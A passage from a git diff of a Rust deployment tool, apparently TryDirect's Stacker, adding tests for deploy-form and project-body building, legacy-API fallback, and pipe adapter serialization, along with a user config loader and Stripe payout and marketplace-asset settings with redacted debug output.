+            .name("myproject")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Server)
+            .server(crate::cli::config_parser::ServerConfig {
+                host: "203.0.113.10".to_string(),
+                user: "deploy".to_string(),
+                ssh_key: Some(std::path::PathBuf::from("/tmp/id_ed25519")),
+                port: 2222,
+            })
+            .monitoring(crate::cli::config_parser::MonitoringConfig {
+                status_panel: true,
+                healthcheck: None,
+                metrics: None,
+            })
+            .build()
+            .unwrap();
+        let server_cfg = config.deploy.server.as_ref().unwrap();
+
+        let form = build_server_deploy_form(&config, server_cfg, "edge-box", false);
+        let vars = form["stack"]["vars"].as_array().unwrap();
+
+        assert_eq!(form["server"]["connection_mode"], "status_panel");
+        assert!(form["stack"]["integrated_features"]
+            .as_array()
+            .unwrap()
+            .iter()
+            .any(|value| value == "statuspanel"));
+        assert!(vars.iter().any(|value| value["key"] == "vault_url"));
     }
 
     #[test]
@@ -2647,6 +4608,7 @@ mod tests {
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .project_identity("optimumcode")
             .build()
@@ -2671,6 +4633,7 @@ mod tests {
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .monitoring(crate::cli::config_parser::MonitoringConfig {
                 status_panel: true,
@@ -2688,7 +4651,6 @@ mod tests {
             "integrated_features should contain 'statuspanel': {:?}",
             features
         );
-        // connection_mode should be set to "status_panel"
         assert_eq!(form["server"]["connection_mode"], "status_panel");
 
         // vault_url should be passed in stack.vars for the Ansible statuspanel role
@@ -2734,6 +4696,7 @@ mod tests {
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .proxy(crate::cli::config_parser::ProxyConfig {
                 proxy_type: crate::cli::config_parser::ProxyType::Nginx,
@@ -2755,7 +4718,7 @@ mod tests {
     }
 
     #[test]
-    fn test_build_project_body_with_nginx_proxy() {
+    fn test_build_project_body_with_nginx_proxy_does_not_add_npm_project_feature() {
         let config = crate::cli::config_parser::ConfigBuilder::new()
             .name("myproject")
             .proxy(crate::cli::config_parser::ProxyConfig {
@@ -2769,24 +4732,257 @@ mod tests {
 
         let body = build_project_body(&config);
         let features = body["custom"]["feature"].as_array().unwrap();
-        assert_eq!(features.len(), 1, "feature array should have 1 entry");
-        assert_eq!(features[0]["code"], "nginx_proxy_manager");
-        assert_eq!(features[0]["type"], "feature");
-        assert_eq!(features[0]["name"], "Nginx Proxy Manager");
-        assert_eq!(features[0]["restart"], "always");
-        assert!(features[0]["_id"].is_string(), "_id must be present");
-        assert_eq!(features[0]["custom"], true);
-        // Image fields must be present so the install service can build a Docker image reference
-        assert_eq!(features[0]["dockerhub_user"], "jc21");
-        assert_eq!(features[0]["dockerhub_name"], "nginx-proxy-manager");
-        assert_eq!(features[0]["dockerhub_tag"], "latest");
-        // Ports should include the NPM management port (81)
-        let ports = features[0]["shared_ports"].as_array().unwrap();
-        assert_eq!(ports.len(), 3);
+        assert!(
+            features.iter().all(|f| f["code"] != "nginx_proxy_manager"),
+            "feature array should not contain nginx_proxy_manager project app: {:?}",
+            features
+        );
+    }
+
+    #[test]
+    fn pipe_instance_request_serializes_adapter_references() {
+        let request = CreatePipeInstanceApiRequest {
+            deployment_hash: Some("dep-123".into()),
+            source_adapter: Some(
+                PipeAdapterReference::new("imap")
+                    .with_config(serde_json::json!({ "mailbox": "INBOX" })),
+            ),
+            source_container: "status-panel-web".into(),
+            target_adapter: Some(
+                PipeAdapterReference::new("smtp")
+                    .with_config(serde_json::json!({ "host": "smtp.example.com" })),
+            ),
+            target_container: None,
+            target_url: Some("smtp://mail.example.com:587".into()),
+            template_id: Some("tpl-123".into()),
+            field_mapping_override: Some(serde_json::json!({ "subject": "$.subject" })),
+            config_override: Some(serde_json::json!({ "timeout_secs": 30 })),
+        };
+
+        let value = serde_json::to_value(&request).unwrap();
+        assert_eq!(value["source_adapter"]["code"], "imap");
+        assert_eq!(value["target_adapter"]["code"], "smtp");
+        assert_eq!(value["source_adapter"]["config"]["mailbox"], "INBOX");
+        assert_eq!(
+            value["target_adapter"]["config"]["host"],
+            "smtp.example.com"
+        );
+    }
+
+    #[test]
+    fn pipe_instance_info_deserializes_adapter_references() {
+        let value = serde_json::json!({
+            "id": "pipe-123",
+            "template_id": "tpl-123",
+            "deployment_hash": "dep-123",
+            "source_adapter": {
+                "code": "imap",
+                "role": "source",
+                "config": { "mailbox": "INBOX" }
+            },
+            "source_container": "status-panel-web",
+            "target_adapter": {
+                "code": "smtp",
+                "role": "target",
+                "config": { "host": "smtp.example.com" }
+            },
+            "target_container": "smtp",
+            "target_url": null,
+            "field_mapping_override": { "subject": "$.subject" },
+            "config_override": { "timeout_secs": 30 },
+            "status": "draft",
+            "last_triggered_at": null,
+            "trigger_count": 0,
+            "error_count": 0,
+            "created_by": "user-123",
+            "created_at": "2026-05-21T00:00:00Z",
+            "updated_at": "2026-05-21T00:00:00Z"
+        });
+
+        let info: PipeInstanceInfo = serde_json::from_value(value).unwrap();
+        assert_eq!(
+            info.source_adapter
+                .as_ref()
+                .map(|adapter| adapter.code.as_str()),
+            Some("imap")
+        );
+        assert_eq!(
+            info.target_adapter
+                .as_ref()
+                .map(|adapter| adapter.code.as_str()),
+            Some("smtp")
+        );
+        assert_eq!(info.source_container, "status-panel-web");
+        assert_eq!(info.target_container.as_deref(), Some("smtp"));
+    }
+
+    #[test]
+    fn test_build_project_body_skips_declared_npm_service_when_proxy_is_managed() {
+        let npm_service = ServiceDefinition {
+            name: "nginx_proxy_manager".to_string(),
+            image: "jc21/nginx-proxy-manager:latest".to_string(),
+            ports: vec![
+                "80:80".to_string(),
+                "443:443".to_string(),
+                "81:81".to_string(),
+            ],
+            environment: std::collections::HashMap::new(),
+            volumes: vec!["npm_data:/data".to_string()],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let redis_service = ServiceDefinition {
+            name: "redis".to_string(),
+            image: "redis:7-alpine".to_string(),
+            ports: vec![],
+            environment: std::collections::HashMap::new(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("myproject")
+            .add_service(npm_service)
+            .add_service(redis_service)
+            .proxy(crate::cli::config_parser::ProxyConfig {
+                proxy_type: crate::cli::config_parser::ProxyType::NginxProxyManager,
+                auto_detect: true,
+                domains: vec![],
+                config: None,
+            })
+            .build()
+            .unwrap();
+
+        let body = build_project_body(&config);
+        let service = body["custom"]["service"].as_array().unwrap();
+        let codes = service
+            .iter()
+            .filter_map(|app| app["code"].as_str())
+            .collect::<Vec<_>>();
+        assert_eq!(codes, vec!["redis"]);
+    }
+
+    #[test]
+    fn test_build_project_body_skips_platform_managed_services_even_without_proxy() {
+        let npm_service = ServiceDefinition {
+            name: "nginx_proxy_manager".to_string(),
+            image: "jc21/nginx-proxy-manager:latest".to_string(),
+            ports: vec![
+                "80:80".to_string(),
+                "443:443".to_string(),
+                "81:81".to_string(),
+            ],
+            environment: std::collections::HashMap::new(),
+            volumes: vec!["npm_data:/data".to_string()],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let statuspanel_service = ServiceDefinition {
+            name: "statuspanel".to_string(),
+            image: "trydirect/status:latest".to_string(),
+            ports: vec!["5000:5000".to_string()],
+            environment: std::collections::HashMap::new(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let smtp_service = ServiceDefinition {
+            name: "smtp".to_string(),
+            image: "trydirect/smtp:latest".to_string(),
+            ports: vec!["127.0.0.1:1025:25".to_string()],
+            environment: std::collections::HashMap::new(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("myproject")
+            .add_service(npm_service)
+            .add_service(statuspanel_service)
+            .add_service(smtp_service)
+            .proxy(crate::cli::config_parser::ProxyConfig {
+                proxy_type: crate::cli::config_parser::ProxyType::None,
+                auto_detect: false,
+                domains: vec![],
+                config: None,
+            })
+            .build()
+            .unwrap();
+
+        let body = build_project_body(&config);
+        let service = body["custom"]["service"].as_array().unwrap();
+        let codes = service
+            .iter()
+            .filter_map(|app| app["code"].as_str())
+            .collect::<Vec<_>>();
+        assert_eq!(codes, vec!["smtp"]);
+    }
+
+    #[test]
+    fn test_parse_port_mapping_accepts_host_ip_bindings() {
+        assert_eq!(
+            parse_port_mapping("127.0.0.1:1025:25"),
+            ("1025".to_string(), "25".to_string())
+        );
+        assert_eq!(
+            parse_port_mapping("127.0.0.1:1025:25/tcp"),
+            ("1025".to_string(), "25".to_string())
+        );
+        assert_eq!(
+            parse_port_mapping("3000:3000"),
+            ("3000".to_string(), "3000".to_string())
+        );
+        assert_eq!(
+            parse_port_mapping("8080"),
+            ("8080".to_string(), "8080".to_string())
+        );
+    }
+
+    #[test]
+    fn test_scn_001_stacker_yml_service_serializes_as_service_target() {
+        let upload_service = ServiceDefinition {
+            name: "upload".to_string(),
+            image: "ghcr.io/example/upload:1.0".to_string(),
+            ports: vec!["8081:8080".to_string()],
+            environment: std::collections::HashMap::new(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("Device API")
+            .project_identity("device-api")
+            .app_image("ghcr.io/example/device-api:1.0")
+            .add_service(upload_service)
+            .build()
+            .unwrap();
+
+        let body = build_project_body(&config);
+        let web_codes = body["custom"]["web"]
+            .as_array()
+            .unwrap()
+            .iter()
+            .filter_map(|app| app["code"].as_str())
+            .collect::<Vec<_>>();
+        let service_codes = body["custom"]["service"]
+            .as_array()
+            .unwrap()
+            .iter()
+            .filter_map(|app| app["code"].as_str())
+            .collect::<Vec<_>>();
+
+        assert_eq!(web_codes, vec!["device-api"]);
+        assert_eq!(service_codes, vec!["upload"]);
     }
 
     #[test]
-    fn test_build_project_body_with_status_panel() {
+    fn test_build_project_body_with_status_panel_does_not_add_status_panel_feature() {
         let config = crate::cli::config_parser::ConfigBuilder::new()
             .name("myproject")
             .monitoring(crate::cli::config_parser::MonitoringConfig {
@@ -2799,26 +4995,11 @@ mod tests {
 
         let body = build_project_body(&config);
         let features = body["custom"]["feature"].as_array().unwrap();
-        let sp = features.iter().find(|f| f["code"] == "statuspanel");
         assert!(
-            sp.is_some(),
-            "feature array should contain statuspanel entry: {:?}",
+            features.iter().all(|f| f["code"] != "statuspanel"),
+            "feature array should not contain statuspanel entry: {:?}",
             features
         );
-        let sp = sp.unwrap();
-        assert_eq!(sp["type"], "feature");
-        assert_eq!(sp["name"], "Status Panel");
-        assert!(sp["_id"].is_string(), "_id must be present");
-        assert_eq!(sp["custom"], true);
-        // Port 5000 must be declared so the install service opens it in the cloud firewall
-        let ports = sp["shared_ports"].as_array().unwrap();
-        assert_eq!(ports.len(), 1);
-        assert_eq!(ports[0]["host_port"], "5000");
-        assert_eq!(ports[0]["container_port"], "5000");
-        // Image fields must be present so the install service can build a Docker image reference
-        assert_eq!(sp["dockerhub_user"], "trydirect");
-        assert_eq!(sp["dockerhub_name"], "status");
-        assert_eq!(sp["dockerhub_tag"], "latest");
     }
 
     #[test]
@@ -2830,7 +5011,10 @@ mod tests {
 
         let body = build_project_body(&config);
         let features = body["custom"]["feature"].as_array().unwrap();
-        assert!(features.is_empty(), "feature array should be empty when no proxy configured");
+        assert!(
+            features.is_empty(),
+            "feature array should be empty when no proxy configured"
+        );
     }
 
     #[test]
@@ -2840,7 +5024,11 @@ mod tests {
         // 4 hex chars suffix
         let suffix = &name["website-".len()..];
         assert_eq!(suffix.len(), 4);
-        assert!(suffix.chars().all(|c| c.is_ascii_hexdigit()), "suffix should be hex, got: {}", suffix);
+        assert!(
+            suffix.chars().all(|c| c.is_ascii_hexdigit()),
+            "suffix should be hex, got: {}",
+            suffix
+        );
     }
 
     #[test]
@@ -2852,29 +5040,174 @@ mod tests {
     #[test]
     fn test_generate_server_name_empty() {
         let name = generate_server_name("");
-        assert!(name.starts_with("srv-"), "empty input should fallback to 'srv', got: {}", name);
+        assert!(
+            name.starts_with("srv-"),
+            "empty input should fallback to 'srv', got: {}",
+            name
+        );
     }
 
     #[test]
     fn test_generate_server_name_special_chars() {
         let name = generate_server_name("app___v2..beta");
-        assert!(name.starts_with("app-v2-beta-"), "consecutive separators collapsed, got: {}", name);
+        assert!(
+            name.starts_with("app-v2-beta-"),
+            "consecutive separators collapsed, got: {}",
+            name
+        );
     }
 
     #[test]
     fn test_generate_server_name_numeric_start() {
         // Hetzner requires name to start with a letter
         let name = generate_server_name("123app");
-        assert!(name.starts_with("srv-123app-"), "numeric start should get 'srv-' prefix, got: {}", name);
+        assert!(
+            name.starts_with("srv-123app-"),
+            "numeric start should get 'srv-' prefix, got: {}",
+            name
+        );
     }
 
     #[test]
     fn test_generate_server_name_max_length() {
         let long = "a".repeat(100);
         let name = generate_server_name(&long);
-        assert!(name.len() <= 63, "name must be ≤63 chars (Hetzner), got {} chars: {}", name.len(), name);
+        assert!(
+            name.len() <= 63,
+            "name must be ≤63 chars (Hetzner), got {} chars: {}",
+            name.len(),
+            name
+        );
         assert!(name.starts_with("aaa"), "got: {}", name);
         // Must not end with hyphen
-        assert!(!name.ends_with('-'), "must not end with hyphen, got: {}", name);
+        assert!(
+            !name.ends_with('-'),
+            "must not end with hyphen, got: {}",
+            name
+        );
+    }
+
+    #[tokio::test]
+    async fn test_list_projects_falls_back_to_legacy_project_path() {
+        let server = MockServer::start().await;
+
+        Mock::given(method("GET"))
+            .and(path("/api/v1/project"))
+            .respond_with(ResponseTemplate::new(404).set_body_string(
+                r#"{"_status":"ERR","_error":{"code":404,"message":"not found"}}"#,
+            ))
+            .mount(&server)
+            .await;
+
+        Mock::given(method("GET"))
+            .and(path("/project"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+                "_status": "OK",
+                "list": [
+                    {
+                        "id": 7,
+                        "name": "demo-project",
+                        "user_id": "user-1",
+                        "metadata": {},
+                        "created_at": "2026-01-01T00:00:00Z",
+                        "updated_at": "2026-01-01T00:00:00Z"
+                    }
+                ]
+            })))
+            .mount(&server)
+            .await;
+
+        let client = StackerClient::new_for_target(&server.uri(), "token", DeployTarget::Server);
+        let projects = client
+            .list_projects()
+            .await
+            .expect("fallback should succeed");
+
+        assert_eq!(projects.len(), 1);
+        assert_eq!(projects[0].id, 7);
+        assert_eq!(projects[0].name, "demo-project");
+    }
+
+    #[tokio::test]
+    async fn test_deploy_falls_back_to_legacy_project_path() {
+        let server = MockServer::start().await;
+
+        Mock::given(method("POST"))
+            .and(path("/api/v1/project/12/deploy"))
+            .respond_with(ResponseTemplate::new(404).set_body_string(
+                r#"{"_status":"ERR","_error":{"code":404,"message":"not found"}}"#,
+            ))
+            .mount(&server)
+            .await;
+
+        Mock::given(method("POST"))
+            .and(path("/project/12/deploy"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+                "id": 99,
+                "_status": "OK",
+                "meta": {
+                    "deployment_hash": "hash-123"
+                }
+            })))
+            .mount(&server)
+            .await;
+
+        let client = StackerClient::new_for_target(&server.uri(), "token", DeployTarget::Server);
+        let response = client
+            .deploy(
+                12,
+                None,
+                serde_json::json!({ "stack": { "stack_code": "demo" } }),
+            )
+            .await
+            .expect("deploy fallback should succeed");
+
+        assert_eq!(response.id, Some(99));
+        assert_eq!(response.status.as_deref(), Some("OK"));
+        assert_eq!(
+            response
+                .meta
+                .as_ref()
+                .and_then(|meta| meta.get("deployment_hash")),
+            Some(&serde_json::json!("hash-123"))
+        );
+    }
+
+    #[tokio::test]
+    async fn test_list_projects_retries_api_v1_after_forbidden_legacy_proxy_response() {
+        let server = MockServer::start().await;
+
+        Mock::given(method("GET"))
+            .and(path("/api/v1/project"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+                "_status": "OK",
+                "list": [
+                    {
+                        "id": 7,
+                        "name": "demo-project",
+                        "user_id": "user-1",
+                        "metadata": {},
+                        "created_at": "2026-01-01T00:00:00Z",
+                        "updated_at": "2026-01-01T00:00:00Z"
+                    }
+                ]
+            })))
+            .mount(&server)
+            .await;
+
+        Mock::given(method("GET"))
+            .and(path("/project"))
+            .respond_with(ResponseTemplate::new(403).set_body_string("forbidden"))
+            .mount(&server)
+            .await;
+
+        let client = StackerClient::new_for_target(&server.uri(), "token", DeployTarget::Server);
+        let projects = client
+            .list_projects()
+            .await
+            .expect("api v1 endpoint should be preferred before legacy 403");
+
+        assert_eq!(projects.len(), 1);
+        assert_eq!(projects[0].name, "demo-project");
     }
 }
diff --git a/src/cli/user_config.rs b/src/cli/user_config.rs
new file mode 100644
index 00000000..aba12fcd
--- /dev/null
+++ b/src/cli/user_config.rs
@@ -0,0 +1,68 @@
+use std::path::PathBuf;
+
+use serde::Deserialize;
+
+/// User-level configuration stored at `~/.config/stacker/config.yml`.
+///
+/// Written once by `install.sh` with platform defaults; the user can edit it
+/// manually. Values here are overridden by CLI flags and environment variables.
+///
+/// Priority (highest to lowest):
+///   CLI flag → environment variable → `~/.config/stacker/config.yml` → built-in default
+#[derive(Debug, Clone, Deserialize, Default)]
+pub struct UserConfig {
+    /// TryDirect user-service base URL (e.g. `https://try.direct/server/user`).
+    pub auth_url: Option<String>,
+    /// Stacker API URL (e.g. `https://try.direct/stacker`).
+    pub server_url: Option<String>,
+    /// Default organisation slug for multi-org accounts.
+    pub org: Option<String>,
+    /// Login-specific preferences.
+    pub login: Option<LoginConfig>,
+}
+
+#[derive(Debug, Clone, Deserialize, Default)]
+pub struct LoginConfig {
+    /// Use browser-based OAuth2 flow by default (`true`) or email/password (`false`).
+    pub browser: Option<bool>,
+    /// Default OAuth provider code: `gc` (Google), `gh` (GitHub), etc.
+    pub provider: Option<String>,
+}
+
+impl UserConfig {
+    /// Load from `~/.config/stacker/config.yml`.
+    /// Returns `Default` silently if the file is absent or unreadable.
+    pub fn load() -> Self {
+        let path = Self::config_path();
+        if !path.exists() {
+            return Self::default();
+        }
+        let content = match std::fs::read_to_string(&path) {
+            Ok(c) => c,
+            Err(_) => return Self::default(),
+        };
+        serde_yaml::from_str(&content).unwrap_or_default()
+    }
+
+    /// Platform-appropriate path for the user config file.
+    pub fn config_path() -> PathBuf {
+        let base = std::env::var("XDG_CONFIG_HOME")
+            .map(PathBuf::from)
+            .or_else(|_| std::env::var("HOME").map(|h| PathBuf::from(h).join(".config")))
+            .unwrap_or_else(|_| PathBuf::from("."));
+        base.join("stacker").join("config.yml")
+    }
+
+    /// Default browser preference: `true` unless explicitly disabled.
+    pub fn browser_default(&self) -> bool {
+        self.login.as_ref().and_then(|l| l.browser).unwrap_or(true)
+    }
+
+    /// Default provider: `gc` (Google) unless overridden.
+    pub fn provider_default(&self) -> String {
+        self.login
+            .as_ref()
+            .and_then(|l| l.provider.clone())
+            .unwrap_or_else(|| "gc".to_string())
+    }
+}
diff --git a/src/configuration.rs b/src/configuration.rs
index 3f3c1327..a02205c6 100644
--- a/src/configuration.rs
+++ b/src/configuration.rs
@@ -7,6 +7,10 @@ pub struct Settings {
     pub app_port: u16,
     pub app_host: String,
     pub auth_url: String,
+    #[serde(default = "Settings::default_auth_request_timeout_secs")]
+    pub auth_request_timeout_secs: u64,
+    #[serde(default = "Settings::default_auth_connect_timeout_secs")]
+    pub auth_connect_timeout_secs: u64,
     #[serde(default = "Settings::default_user_service_url")]
     pub user_service_url: String,
     pub max_clients_number: i64,
@@ -26,6 +30,16 @@ pub struct Settings {
     pub connectors: ConnectorConfig,
     #[serde(default)]
     pub deployment: DeploymentSettings,
+    #[serde(default)]
+    pub marketplace_assets: MarketplaceAssetSettings,
+    #[serde(default)]
+    pub payouts: PayoutSettings,
+    /// Global kill switch for the per-install billing model.
+    /// When false (the default), `billing_cycle="per_install"` templates
+    /// behave as `one_time` — no authorize/capture, no ownership check via
+    /// the new gate. See migration `20260718130000`
+    #[serde(default = "Settings::default_per_install_billing_enabled")]
+    pub per_install_billing_enabled: bool,
 }
 
 impl std::fmt::Debug for Settings {
@@ -35,16 +49,29 @@ impl std::fmt::Debug for Settings {
             .field("app_port", &self.app_port)
             .field("app_host", &self.app_host)
             .field("auth_url", &self.auth_url)
+            .field("auth_request_timeout_secs", &self.auth_request_timeout_secs)
+            .field("auth_connect_timeout_secs", &self.auth_connect_timeout_secs)
             .field("user_service_url", &self.user_service_url)
             .field("max_clients_number", &self.max_clients_number)
-            .field("agent_command_poll_timeout_secs", &self.agent_command_poll_timeout_secs)
-            .field("agent_command_poll_interval_secs", &self.agent_command_poll_interval_secs)
+            .field(
+                "agent_command_poll_timeout_secs",
+                &self.agent_command_poll_timeout_secs,
+            )
+            .field(
+                "agent_command_poll_interval_secs",
+                &self.agent_command_poll_interval_secs,
+            )
             .field("casbin_reload_enabled", &self.casbin_reload_enabled)
-            .field("casbin_reload_interval_secs", &self.casbin_reload_interval_secs)
+            .field(
+                "casbin_reload_interval_secs",
+                &self.casbin_reload_interval_secs,
+            )
             .field("amqp", &self.amqp)
             .field("vault", &self.vault)
             .field("connectors", &self.connectors)
             .field("deployment", &self.deployment)
+            .field("marketplace_assets", &self.marketplace_assets)
+            .field("payouts", &self.payouts)
             .finish()
     }
 }
@@ -56,6 +83,8 @@ impl Default for Settings {
             app_port: 8000,
             app_host: "127.0.0.1".to_string(),
             auth_url: "http://localhost:8080/me".to_string(),
+            auth_request_timeout_secs: Self::default_auth_request_timeout_secs(),
+            auth_connect_timeout_secs: Self::default_auth_connect_timeout_secs(),
             user_service_url: Self::default_user_service_url(),
             max_clients_number: 10,
             agent_command_poll_timeout_secs: Self::default_agent_command_poll_timeout_secs(),
@@ -66,6 +95,9 @@ impl Default for Settings {
             vault: VaultSettings::default(),
             connectors: ConnectorConfig::default(),
             deployment: DeploymentSettings::default(),
+            marketplace_assets: MarketplaceAssetSettings::default(),
+            payouts: PayoutSettings::default(),
+            per_install_billing_enabled: Self::default_per_install_billing_enabled(),
         }
     }
 }
@@ -75,6 +107,14 @@ impl Settings {
         "http://user:4100".to_string()
     }
 
+    fn default_auth_request_timeout_secs() -> u64 {
+        5
+    }
+
+    fn default_auth_connect_timeout_secs() -> u64 {
+        2
+    }
+
     fn default_agent_command_poll_timeout_secs() -> u64 {
         30
     }
@@ -87,6 +127,10 @@ impl Settings {
         true
     }
 
+    fn default_per_install_billing_enabled() -> bool {
+        false
+    }
+
     fn default_casbin_reload_interval_secs() -> u64 {
         10
     }
@@ -173,6 +217,249 @@ impl Default for DeploymentSettings {
     }
 }
 
+#[derive(serde::Deserialize, Clone)]
+pub struct PayoutSettings {
+    #[serde(default = "PayoutSettings::default_provider")]
+    pub provider: String,
+    #[serde(default)]
+    pub stripe_secret_key: String,
+    #[serde(default)]
+    pub stripe_webhook_secret: String,
+    #[serde(default = "PayoutSettings::default_stripe_api_base_url")]
+    pub stripe_api_base_url: String,
+    #[serde(default = "PayoutSettings::default_onboarding_return_url")]
+    pub onboarding_return_url: String,
+    #[serde(default = "PayoutSettings::default_onboarding_refresh_url")]
+    pub onboarding_refresh_url: String,
+    #[serde(default = "PayoutSettings::default_timeout_secs")]
+    pub timeout_secs: u64,
+}
+
+impl std::fmt::Debug for PayoutSettings {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("PayoutSettings")
+            .field("provider", &self.provider)
+            .field("stripe_secret_key", &"[REDACTED]")
+            .field("stripe_webhook_secret", &"[REDACTED]")
+            .field("stripe_api_base_url", &self.stripe_api_base_url)
+            .field("onboarding_return_url", &self.onboarding_return_url)
+            .field("onboarding_refresh_url", &self.onboarding_refresh_url)
+            .field("timeout_secs", &self.timeout_secs)
+            .finish()
+    }
+}
+
+impl Default for PayoutSettings {
+    fn default() -> Self {
+        Self {
+            provider: Self::default_provider(),
+            stripe_secret_key: String::new(),
+            stripe_webhook_secret: String::new(),
+            stripe_api_base_url: Self::default_stripe_api_base_url(),
+            onboarding_return_url: Self::default_onboarding_return_url(),
+            onboarding_refresh_url: Self::default_onboarding_refresh_url(),
+            timeout_secs: Self::default_timeout_secs(),
+        }
+    }
+}
+
+impl PayoutSettings {
+    fn default_provider() -> String {
+        std::env::var("STACKER_PAYOUT_PROVIDER").unwrap_or_else(|_| "mock".to_string())
+    }
+
+    fn default_stripe_api_base_url() -> String {
+        std::env::var("STRIPE_API_BASE_URL")
+            .unwrap_or_else(|_| "https://api.stripe.com".to_string())
+    }
+
+    fn default_onboarding_return_url() -> String {
+        std::env::var("PAYOUT_ONBOARDING_RETURN_URL").unwrap_or_else(|_| {
+            let public_url = std::env::var("STACKER_PUBLIC_URL")
+                .unwrap_or_else(|_| "http://localhost:8000".to_string());
+            format!(
+                "{}/marketplace/vendor/onboarding/return",
+                public_url.trim_end_matches('/')
+            )
+        })
+    }
+
+    fn default_onboarding_refresh_url() -> String {
+        std::env::var("PAYOUT_ONBOARDING_REFRESH_URL").unwrap_or_else(|_| {
+            let public_url = std::env::var("STACKER_PUBLIC_URL")
+                .unwrap_or_else(|_| "http://localhost:8000".to_string());
+            format!(
+                "{}/marketplace/vendor/onboarding/refresh",
+                public_url.trim_end_matches('/')
+            )
+        })
+    }
+
+    const fn default_timeout_secs() -> u64 {
+        15
+    }
+
+    pub fn overlay_env(self) -> Self {
+        let provider = std::env::var("STACKER_PAYOUT_PROVIDER").unwrap_or(self.provider);
+        let stripe_secret_key = std::env::var("STRIPE_SECRET_KEY")
+            .or_else(|_| std::env::var("PAYOUT_STRIPE_SECRET_KEY"))
+            .unwrap_or(self.stripe_secret_key);
+        let stripe_webhook_secret = std::env::var("STRIPE_WEBHOOK_SECRET")
+            .or_else(|_| std::env::var("PAYOUT_STRIPE_WEBHOOK_SECRET"))
+            .unwrap_or(self.stripe_webhook_secret);
+        let stripe_api_base_url =
+            std::env::var("STRIPE_API_BASE_URL").unwrap_or(self.stripe_api_base_url);
+        let onboarding_return_url =
+            std::env::var("PAYOUT_ONBOARDING_RETURN_URL").unwrap_or(self.onboarding_return_url);
+        let onboarding_refresh_url =
+            std::env::var("PAYOUT_ONBOARDING_REFRESH_URL").unwrap_or(self.onboarding_refresh_url);
+        let timeout_secs = std::env::var("PAYOUT_PROVIDER_TIMEOUT_SECS")
+            .ok()
+            .and_then(|value| value.parse::<u64>().ok())
+            .unwrap_or(self.timeout_secs);
+
+        Self {
+            provider,
+            stripe_secret_key,
+            stripe_webhook_secret,
+            stripe_api_base_url,
+            onboarding_return_url,
+            onboarding_refresh_url,
+            timeout_secs,
+        }
+    }
+}
+
+#[derive(serde::Deserialize, Clone)]
+pub struct MarketplaceAssetSettings {
+    #[serde(default)]
+    pub enabled: bool,
+    #[serde(default = "MarketplaceAssetSettings::default_current_env")]
+    pub current_env: String,
+    #[serde(default)]
+    pub endpoint_url: String,
+    #[serde(default = "MarketplaceAssetSettings::default_region")]
+    pub region: String,
+    #[serde(default)]
+    pub access_key_id: String,
+    #[serde(default)]
+    pub secret_access_key: String,
+    #[serde(default = "MarketplaceAssetSettings::default_bucket_dev")]
+    pub bucket_dev: String,
+    #[serde(default = "MarketplaceAssetSettings::default_bucket_test")]
+    pub bucket_test: String,
+    #[serde(default = "MarketplaceAssetSettings::default_bucket_staging")]
+    pub bucket_staging: String,
+    #[serde(default = "MarketplaceAssetSettings::default_bucket_prod")]
+    pub bucket_prod: String,
+    #[serde(default)]
+    pub server_side_encryption: Option<String>,
+    #[serde(default = "MarketplaceAssetSettings::default_presign_put_ttl_secs")]
+    pub presign_put_ttl_secs: u64,
+    #[serde(default = "MarketplaceAssetSettings::default_presign_get_ttl_secs")]
+    pub presign_get_ttl_secs: u64,
+}
+
+impl std::fmt::Debug for MarketplaceAssetSettings {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("MarketplaceAssetSettings")
+            .field("enabled", &self.enabled)
+            .field("current_env", &self.current_env)
+            .field("endpoint_url", &self.endpoint_url)
+            .field("region", &self.region)
+            .field("access_key_id", &self.access_key_id)
+            .field("secret_access_key", &"[REDACTED]")
+            .field("bucket_dev", &self.bucket_dev)
+            .field("bucket_test", &self.bucket_test)
+            .field("bucket_staging", &self.bucket_staging)
+            .field("bucket_prod", &self.bucket_prod)
+            .field("server_side_encryption", &self.server_side_encryption)
+            .field("presign_put_ttl_secs", &self.presign_put_ttl_secs)
+            .field("presign_get_ttl_secs", &self.presign_get_ttl_secs)
+            .finish()
+    }
+}
+
+impl Default for MarketplaceAssetSettings {
+    fn default() -> Self {
+        Self {
+            enabled: false,
+            current_env: Self::default_current_env(),
+            endpoint_url: String::new(),
+            region: Self::default_region(),
+            access_key_id: String::new(),
+            secret_access_key: String::new(),
+            bucket_dev: Self::default_bucket_dev(),
+            bucket_test: Self::default_bucket_test(),
+            bucket_staging: Self::default_bucket_staging(),
+            bucket_prod: Self::default_bucket_prod(),
+            server_side_encryption: Some("AES256".to_string()),
+            presign_put_ttl_secs: Self::default_presign_put_ttl_secs(),
+            presign_get_ttl_secs: Self::default_presign_get_ttl_secs(),
+        }
+    }
+}
+
+impl MarketplaceAssetSettings {
+    fn default_current_env() -> String {
+        let current = std::env::var("STACKER_ENV")
+            .or_else(|_| std::env::var("APP_ENV"))
+            .or_else(|_| std::env::var("NODE_ENV"))
+            .unwrap_or_else(|_| "dev".to_string());
+
+        match current.as_str() {
+            "production" => "prod".to_string(),
+            "development" => "dev".to_string(),
+            other => other.to_string(),
+        }
+    }
+
+    fn default_region() -> String {
+        "eu-central".to_string()
+    }
+
+    fn default_bucket_dev() -> String {
+        "marketplace-assets-dev".to_string()
+    }
+
+    fn default_bucket_test() -> String {
